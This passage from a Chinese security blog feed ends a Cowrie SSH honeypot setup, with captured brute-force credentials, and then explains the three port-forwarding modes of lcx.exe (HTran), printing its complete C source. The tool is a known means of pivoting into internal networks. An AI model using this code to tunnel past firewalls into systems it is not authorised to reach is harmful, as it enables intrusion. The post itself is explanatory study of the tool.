安装数据库sqlite3,之所以使用sqlite3是因为该数据库较为轻量,占用内存较少:

apt-get install sqlite3

接着新建配置文件cowrie.cfg,内容如下:

# cat cowrie-git/cowrie.cfg
[output_sqlite]
enabled = true
db_file = cowrie.db

然后初始化数据库,cowrie.db也在目录cowrie-git下:

sqlite3 cowrie.db < docs/sql/sqlite3.sql

修改配置文件和数据库文件的所有者:

chown cowrie:cowrie cowrie.cfg
chown cowrie:cowrie cowrie.db

保存对容器的修改:

docker commit 5f09eab15463 cowrie/cowrie

最后退出容器,重启docker:

docker stop 5f09eab15463
docker run -d -p 22:2222 cowrie/cowrie:latest

重启后过段时间进入到容器内部,查看数据库中数据:

# sqlite3 cowrie.db 
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> .table
auth             input            sensors        
clients          keyfingerprints  sessions       
downloads        params           ttylog         
sqlite> select * from auth;
1|a09fd9f00e15|0|michel|password123|2018-12-01T03:08:28.423070Z
2|c1855fc2dde7|0|ale|ale|2018-12-01T03:09:17.309824Z
3|92d390074e0b|0|weblogic|654321|2018-12-01T03:09:38.139350Z
4|8c0a4a1c1c57|0|b2|b2|2018-12-01T03:09:39.818113Z
5|8b7369499a3d|0|joshua|joshua123|2018-12-01T03:09:57.069270Z
6|6ef4f60e0961|0|matilda|123456|2018-12-01T03:09:59.964616Z
7|f7ed2d311e5a|0|ftpadmin|test|2018-12-01T03:10:02.564809Z
8|22ff162f41eb|0|postgres3|postgres3|2018-12-01T03:10:04.318106Z
9|2201f65fcab2|1|root|admin|2018-12-01T03:10:12.634901Z
10|338193bafc29|0|odoo|12|2018-12-01T03:10:13.408241Z
11|6bbfa429bbcd|0|whiting|whiting123|2018-12-01T03:10:30.459699Z
sqlite>.exit

在auth表中可以看到暴力破解使用的用户名和密码。

5.参考

0x04 其他

这是我第一次使用docker,觉得很方便。操作起来颇有一种git的感觉。

]]>
https://blog.werner.wiki/attacks-are-everywhere/feed/ 8
LCX.exe的功能 https://blog.werner.wiki/lcx-exe/ https://blog.werner.wiki/lcx-exe/#comments Sat, 22 Jul 2017 08:14:31 +0000 http://blog.werner.wiki/?p=238 最近在看一本书,其中有一节唤作“LCX端口转发实现内网突破”,我仔细地读了几遍,竟是一头雾水,全然不知在讲些什么,遂百度lcx.exe,又看了几篇文章,依旧不知所云。所幸找到了lcx.exe的源码,读了一遍,所有疑惑都烟消云散。

原本看不懂关于lcx.exe的文章,是由于找到的那些文章都在讲解lcx.exe的用法,对于原理只字未提,功能也只是略作说明。我不了解lcx.exe的功能,不知道它是干什么的,又不满足于生硬地记下lcx.exe的几条命令、几种用法,故而疑惑重重,觉得玄妙难懂。当阅读了源码,知道其原理功能后,再看用法,便清晰明了了。原理、功能和法用有何区别?举例来说,菜刀(此处指切菜的菜刀,不是中国菜刀)的原理是刀身坚固具有刀刃,刃坚硬不易折损,面积小压强大;功能是切割物体;用法是切菜、切肉等。本文将总结lcx.exe的功能,涉及部分原理。lcx.exe的源码附在文末。

lcx.exe的功能是进行端口转发,更具体的讲是进行TCP的端口转发。何为端口转发,我们知道,TCP共有65535个端口,端口转发,便是将一个端口接受到的数据,发送到另一个端口,将另一个端口接受到的数据,发送到这个端口,仅此而已。

lcx.exe有三种工作模式。为何是三种而不是两种或四种?因为TCP协议下,一个端口可处于两种模式之一——客户端模式或服务器模式,而端口转发涉及两个端口,故有三种可能:两个端口都处于服务器模式、一个端口处于服务器模式另一个端口处于客户端模式、两个端口都处于客户端模式。下面按这三种情况分别进行讨论。

1.两个端口都处于服务器模式

这一模式对应的参数是:

  -listen <ConnectPort> <TransmitPort>

简单地讲,就是 -listen 后接两个数字,分别是两个端口号。此模式下,lcx.exe分别监听ConnectPort和TransmitPort这两个端口,也就是说,这两个端口都处于服务器模式下,等待客户端连接。当有两个客户端分别与ConnectPort和TransmitPort建立连接后,端口转发便开始工作,互换ConnectPort和TransmitPort接受/发送的数据。

2.一个端口处于服务器模式另一个端口处于客户端模式

这一模式对应的参数是:

  -tran <ConnectPort> <TransmitHost> <TransmitPort>

此模式下,lcx.exe监听ConnectPort端口,此端口处于服务器模式,等待客户端连接。当有客户端连接到此端口后,lcx.exe会发起到TransmitHost主机的TransmitPort端口的TCP连接,此连接使用的本地端口是随机的某个未使用的端口,假设其为RandomPort,若连接成功,则开始端口转发,互换ConnectPort和RandomPort接受/发送的数据。

3.两个端口都处于客户端模式

这一模式对应的参数是:

  -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

此模式下,lcx.exe会建立到ConnectHost主机的ConnectPort端口的TCP连接,假设使用的本地端口是RandomPort1,若成功,则会接着建立到TransmitHost主机的TransmitPort端口的TCP连接,假设使用的本地端口是RandomPort2,若成功,则开始端口转发,互换RandomPort1和RandomPort2接受/发送的数据。RandomPort1和RandomPort2都是随机的未使用端口。

以上便是lcx.exe的功能与原理,了解这些后,用法便不是问题了。就如同了解菜刀是用于切割物体后,拿菜刀是去切菜还是去砍人都不是问题一般。listen、slave等名字应该来源于lcx.exe最经典的用法——内网突破。当然,有时我们也会想看看别人怎么玩菜刀的:《Lcx的多种用法:3个功能+9个参数,你会怎么玩? 》

附:lcx.exe源码:


/* ************************************************************************************ * * HTran.cpp - HUC Packet Transmit Tool. * * Copyright (C) 2000-2004 HUC All Rights Reserved. * * Author : lion * : lion#cnhonker.net * : [url]http://www.cnhonker.com[/url] * : * Notice : Thx to bkbll (bkbll#cnhonker.net) * : * Date : 2003-10-20 * : * Complie : cl HTran.cpp * : * Usage : E:\>HTran * : ======================== HUC Packet Transmit Tool V1.00 ======================= * : =========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] ========== * : * : [Usage of Packet Transmit:] * : HTran -<listen|tran|slave> <option> [-log logfile] * : * : [option:] * : -listen <ConnectPort> <TransmitPort> * : -tran <ConnectPort> <TransmitHost> <TransmitPort> * : -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort> * ************************************************************************************ */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <winsock2.h> #include <io.h> #include <signal.h> #pragma comment(lib, "ws2_32.lib") #define VERSION "1.00" #define TIMEOUT 300 #define MAXSIZE 20480 #define HOSTLEN 40 #define CONNECTNUM 5 // define 2 socket struct struct transocket { SOCKET fd1; SOCKET fd2; }; // define function void ver(); void usage(char *prog); void transmitdata(LPVOID data); void getctrlc(int j); void closeallfd(); void makelog(char *buffer, int length); void proxy(int port); void bind2bind(int port1, int port2); void bind2conn(int port1, char *host, int port2); void conn2conn(char *host1, int port1, char *host2, int port2); int testifisvalue(char *str); int create_socket(); int create_server(int sockfd, int port); int client_connect(int sockfd, char* server, int port); // define GLOBAL variable here FILE *fp; int method=0; //int connectnum=0; //************************************************************************************ // // function main // //************************************************************************************ VOID main(int argc, char* argv[]) { char **p; char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN]; int iConnectPort=0, iTransmitPort=0; char *logfile=NULL; ver(); memset(sConnectHost, 0, HOSTLEN); memset(sTransmitHost, 0, HOSTLEN); p=argv; while(*p) { if(stricmp(*p, "-log") == 0) { if(testifisvalue(*(p+1))) { logfile = *(++p); } else { printf("[-] ERROR: Must supply logfile name.\r\n"); return; } p++; continue; } p++; } if(logfile !=NULL) { fp=fopen(logfile,"a"); if(fp == NULL ) { printf("[-] ERROR: open logfile"); return; } makelog("====== Start ======\r\n", 22); } // Win Start Winsock. WSADATA wsadata; WSAStartup(MAKEWORD(1, 1), &wsadata); signal(SIGINT, &getctrlc); if(argc > 2) { if(stricmp(argv[1], "-listen") == 0 && argc >= 4) { iConnectPort = atoi(argv[2]); iTransmitPort = atoi(argv[3]); method = 1; } else if(stricmp(argv[1], "-tran") == 0 && argc >= 5) { iConnectPort = atoi(argv[2]); strncpy(sTransmitHost, argv[3], HOSTLEN); iTransmitPort = atoi(argv[4]); method = 2; } else if(stricmp(argv[1], "-slave") == 0 && argc >= 6) { strncpy(sConnectHost, argv[2], HOSTLEN); iConnectPort = atoi(argv[3]); strncpy(sTransmitHost, argv[4], HOSTLEN); iTransmitPort = atoi(argv[5]); method = 3; } } switch(method) { case 1: bind2bind(iConnectPort, iTransmitPort); break; case 2: bind2conn(iConnectPort, sTransmitHost, iTransmitPort); break; case 3: conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort); break; default: usage(argv[0]); break; } if(method) { closeallfd(); } WSACleanup(); return; } //************************************************************************************ // // print version message // //************************************************************************************ VOID ver() { } //************************************************************************************ // // print usage message // //************************************************************************************ VOID usage(char* prog) { printf("[Usage of Packet Transmit:]\r\n"); printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog); printf("[option:]\n"); printf(" -listen <ConnectPort> <TransmitPort>\n"); printf(" -tran <ConnectPort> <TransmitHost> <TransmitPort>\n"); printf(" -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>\n\n"); return; } //************************************************************************************ // // test if is value // //************************************************************************************ int testifisvalue(char *str) { if(str == NULL ) return(0); if(str[0]=='-') return(0); return(1); } //************************************************************************************ // // LocalHost:ConnectPort transmit to LocalHost:TransmitPort // //************************************************************************************ void bind2bind(int port1, int port2) { SOCKET fd1,fd2, sockfd1, sockfd2; struct sockaddr_in client1,client2; int size1,size2; HANDLE hThread=NULL; transocket sock; DWORD dwThreadID; if((fd1=create_socket())==0) return; if((fd2=create_socket())==0) return; printf("[+] Listening port %d ......\r\n",port1); fflush(stdout); if(create_server(fd1, port1)==0) { closesocket(fd1); return; } printf("[+] Listen OK!\r\n"); printf("[+] Listening port %d ......\r\n",port2); fflush(stdout); if(create_server(fd2, port2)==0) { closesocket(fd2); return; } printf("[+] Listen OK!\r\n"); size1=size2=sizeof(struct sockaddr); while(1) { printf("[+] Waiting for Client on port:%d ......\r\n",port1); if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0) { printf("[-] Accept1 error.\r\n"); continue; } printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr)); printf("[+] Waiting another Client on port:%d....\r\n", port2); if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0) { printf("[-] Accept2 error.\r\n"); closesocket(sockfd1); continue; } printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr)); printf("[+] Accept Connect OK!\r\n"); sock.fd1 = sockfd1; sock.fd2 = sockfd2; hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID); if(hThread == NULL) { TerminateThread(hThread, 0); return; } Sleep(1000); printf("[+] CreateThread OK!\r\n\n"); } } //************************************************************************************ // // LocalHost:ConnectPort transmit to TransmitHost:TransmitPort // //************************************************************************************ void bind2conn(int port1, char *host, int port2) { SOCKET sockfd,sockfd1,sockfd2; struct sockaddr_in remote; int size; char buffer[1024]; HANDLE hThread=NULL; transocket sock; DWORD dwThreadID; if (port1 > 65535 || port1 < 1) { printf("[-] ConnectPort invalid.\r\n"); return; } if (port2 > 65535 || port2 < 1) { printf("[-] TransmitPort invalid.\r\n"); return; } memset(buffer,0,1024); if((sockfd=create_socket()) == INVALID_SOCKET) return; if(create_server(sockfd, port1) == 0) { closesocket(sockfd); return; } size=sizeof(struct sockaddr); while(1) { printf("[+] Waiting for Client ......\r\n"); if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0) { printf("[-] Accept error.\r\n"); continue; } printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port)); if((sockfd2=create_socket())==0) { closesocket(sockfd1); continue; } printf("[+] Make a Connection to %s:%d ......\r\n",host,port2); fflush(stdout); if(client_connect(sockfd2,host,port2)==0) { closesocket(sockfd2); sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2); send(sockfd1,buffer,strlen(buffer),0); memset(buffer, 0, 1024); closesocket(sockfd1); continue; } printf("[+] Connect OK!\r\n"); sock.fd1 = sockfd1; sock.fd2 = sockfd2; hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID); if(hThread == NULL) { TerminateThread(hThread, 0); return; } Sleep(1000); printf("[+] CreateThread OK!\r\n\n"); } } //************************************************************************************ // // ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort // //************************************************************************************ void conn2conn(char *host1,int port1,char *host2,int port2) { SOCKET sockfd1,sockfd2; HANDLE hThread=NULL; transocket sock; DWORD dwThreadID; fd_set fds; int l; char buffer[MAXSIZE]; while(1) { /* while(connectnum) { if(connectnum < CONNECTNUM) { Sleep(10000); break; } else { Sleep(TIMEOUT*1000); continue; } } */ if((sockfd1=create_socket())==0) return; if((sockfd2=create_socket())==0) return; printf("[+] Make a Connection to %s:%d....\r\n",host1,port1); fflush(stdout); if(client_connect(sockfd1,host1,port1)==0) { closesocket(sockfd1); closesocket(sockfd2); continue; } // fix by bkbll // if host1:port1 recved data, than connect to host2,port2 l=0; memset(buffer,0,MAXSIZE); while(1) { FD_ZERO(&fds); FD_SET(sockfd1, &fds); if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR) { if (errno == WSAEINTR) continue; break; } if (FD_ISSET(sockfd1, &fds)) { l=recv(sockfd1, buffer, MAXSIZE, 0); break; } Sleep(5); } if(l<=0) { printf("[-] There is a error...Create a new connection.\r\n"); continue; } while(1) { printf("[+] Connect OK!\r\n"); printf("[+] Make a Connection to %s:%d....\r\n", host2,port2); fflush(stdout); if(client_connect(sockfd2,host2,port2)==0) { closesocket(sockfd1); closesocket(sockfd2); continue; } if(send(sockfd2,buffer,l,0)==SOCKET_ERROR) { printf("[-] Send failed.\r\n"); continue; } l=0; memset(buffer,0,MAXSIZE); break; } printf("[+] All Connect OK!\r\n"); sock.fd1 = sockfd1; sock.fd2 = sockfd2; hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID); if(hThread == NULL) { TerminateThread(hThread, 0); return; } // connectnum++; Sleep(1000); printf("[+] CreateThread OK!\r\n\n"); } } //************************************************************************************ // // Socket Transmit to Socket // //************************************************************************************ void transmitdata(LPVOID data) { SOCKET fd1, fd2; transocket *sock; struct timeval timeset; fd_set readfd,writefd; int result,i=0; char read_in1[MAXSIZE],send_out1[MAXSIZE]; char read_in2[MAXSIZE],send_out2[MAXSIZE]; int read1=0,totalread1=0,send1=0; int read2=0,totalread2=0,send2=0; int sendcount1,sendcount2; int maxfd; struct sockaddr_in client1,client2; int structsize1,structsize2; char host1[20],host2[20]; int port1=0,port2=0; char tmpbuf[100]; sock = (transocket *)data; fd1 = sock->fd1; fd2 = sock->fd2; memset(host1,0,20); memset(host2,0,20); memset(tmpbuf,0,100); structsize1=sizeof(struct sockaddr); structsize2=sizeof(struct sockaddr); if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0) { strcpy(host1, "fd1"); } else { // printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port)); strcpy(host1, inet_ntoa(client1.sin_addr)); port1=ntohs(client1.sin_port); } if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0) { strcpy(host2,"fd2"); } else { // printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port)); strcpy(host2, inet_ntoa(client2.sin_addr)); port2=ntohs(client2.sin_port); } printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2); maxfd=max(fd1,fd2)+1; memset(read_in1,0,MAXSIZE); memset(read_in2,0,MAXSIZE); memset(send_out1,0,MAXSIZE); memset(send_out2,0,MAXSIZE); timeset.tv_sec=TIMEOUT; timeset.tv_usec=0; while(1) { FD_ZERO(&readfd); FD_ZERO(&writefd); FD_SET((UINT)fd1, &readfd); FD_SET((UINT)fd1, &writefd); FD_SET((UINT)fd2, &writefd); FD_SET((UINT)fd2, &readfd); result=select(maxfd,&readfd,&writefd,NULL,×et); if((result<0) && (errno!=EINTR)) { printf("[-] Select error.\r\n"); break; } else if(result==0) { printf("[-] Socket time out.\r\n"); break; } if(FD_ISSET(fd1, &readfd)) { /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */ if(totalread1<MAXSIZE) { read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0); if((read1==SOCKET_ERROR) || (read1==0)) { printf("[-] Read fd1 data error,maybe close?\r\n"); break; } memcpy(send_out1+totalread1,read_in1,read1); sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1); //printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1); makelog(tmpbuf,strlen(tmpbuf)); makelog(read_in1,read1); totalread1+=read1; memset(read_in1,0,MAXSIZE); } } if(FD_ISSET(fd2, &writefd)) { int err=0; sendcount1=0; while(totalread1>0) { send1=send(fd2, send_out1+sendcount1, totalread1, 0); if(send1==0)break; if((send1<0) && (errno!=EINTR)) { printf("[-] Send to fd2 unknow error.\r\n"); err=1; break; } if((send1<0) && (errno==ENOSPC)) break; sendcount1+=send1; totalread1-=send1; //printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2); } if(err==1) break; if((totalread1>0) && (sendcount1>0)) { /* move not sended data to start addr */ memcpy(send_out1,send_out1+sendcount1,totalread1); memset(send_out1+totalread1,0,MAXSIZE-totalread1); } else memset(send_out1,0,MAXSIZE); } if(FD_ISSET(fd2, &readfd)) { if(totalread2<MAXSIZE) { read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0); if(read2==0)break; if((read2<0) && (errno!=EINTR)) { printf("[-] Read fd2 data error,maybe close?\r\n\r\n"); break; } memcpy(send_out2+totalread2,read_in2,read2); sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2); //printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2); makelog(tmpbuf,strlen(tmpbuf)); makelog(read_in2,read2); totalread2+=read2; memset(read_in2,0,MAXSIZE); } } if(FD_ISSET(fd1, &writefd)) { int err2=0; sendcount2=0; while(totalread2>0) { send2=send(fd1, send_out2+sendcount2, totalread2, 0); if(send2==0)break; if((send2<0) && (errno!=EINTR)) { printf("[-] Send to fd1 unknow error.\r\n"); err2=1; break; } if((send2<0) && (errno==ENOSPC)) break; sendcount2+=send2; totalread2-=send2; //printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1); } if(err2==1) break; if((totalread2>0) && (sendcount2 > 0)) { /* move not sended data to start addr */ memcpy(send_out2, send_out2+sendcount2, totalread2); memset(send_out2+totalread2, 0, MAXSIZE-totalread2); } else memset(send_out2,0,MAXSIZE); } Sleep(5); } closesocket(fd1); closesocket(fd2); // if(method == 3) // connectnum --; printf("\r\n[+] OK! I Closed The Two Socket.\r\n"); } void getctrlc(int j) { printf("\r\n[-] Received Ctrl+C\r\n"); closeallfd(); exit(0); } void closeallfd() { int i; printf("[+] Let me exit ......\r\n"); fflush(stdout); for(i=3; i<256; i++) { closesocket(i); } if(fp != NULL) { fprintf(fp,"\r\n====== Exit ======\r\n"); fclose(fp); } printf("[+] All Right!\r\n"); } int create_socket() { int sockfd; sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd<0) { printf("[-] Create socket error.\r\n"); return(0); } return(sockfd); } int create_server(int sockfd,int port) { struct sockaddr_in srvaddr; int on=1; memset(&srvaddr, 0, sizeof(struct sockaddr)); srvaddr.sin_port=htons(port); srvaddr.sin_family=AF_INET; srvaddr.sin_addr.s_addr=htonl(INADDR_ANY); setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0) { printf("[-] Socket bind error.\r\n"); return(0); } if(listen(sockfd,CONNECTNUM)<0) { printf("[-] Socket Listen error.\r\n"); return(0); } return(1); } int client_connect(int sockfd,char* server,int port) { struct sockaddr_in cliaddr; struct hostent *host; if(!(host=gethostbyname(server))) { printf("[-] Gethostbyname(%s) error:%s\n",server,strerror(errno)); return(0); } memset(&cliaddr, 0, sizeof(struct sockaddr)); cliaddr.sin_family=AF_INET; cliaddr.sin_port=htons(port); cliaddr.sin_addr=*((struct in_addr *)host->h_addr); if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0) { printf("[-] Connect error.\r\n"); return(0); } return(1); } void makelog(char *buffer,int length) { if(fp !=NULL) { // fprintf(fp, "%s", buffer); // printf("%s",buffer); write(fileno(fp),buffer,length); // fflush(fp); } }
]]>
https://blog.werner.wiki/lcx-exe/feed/ 1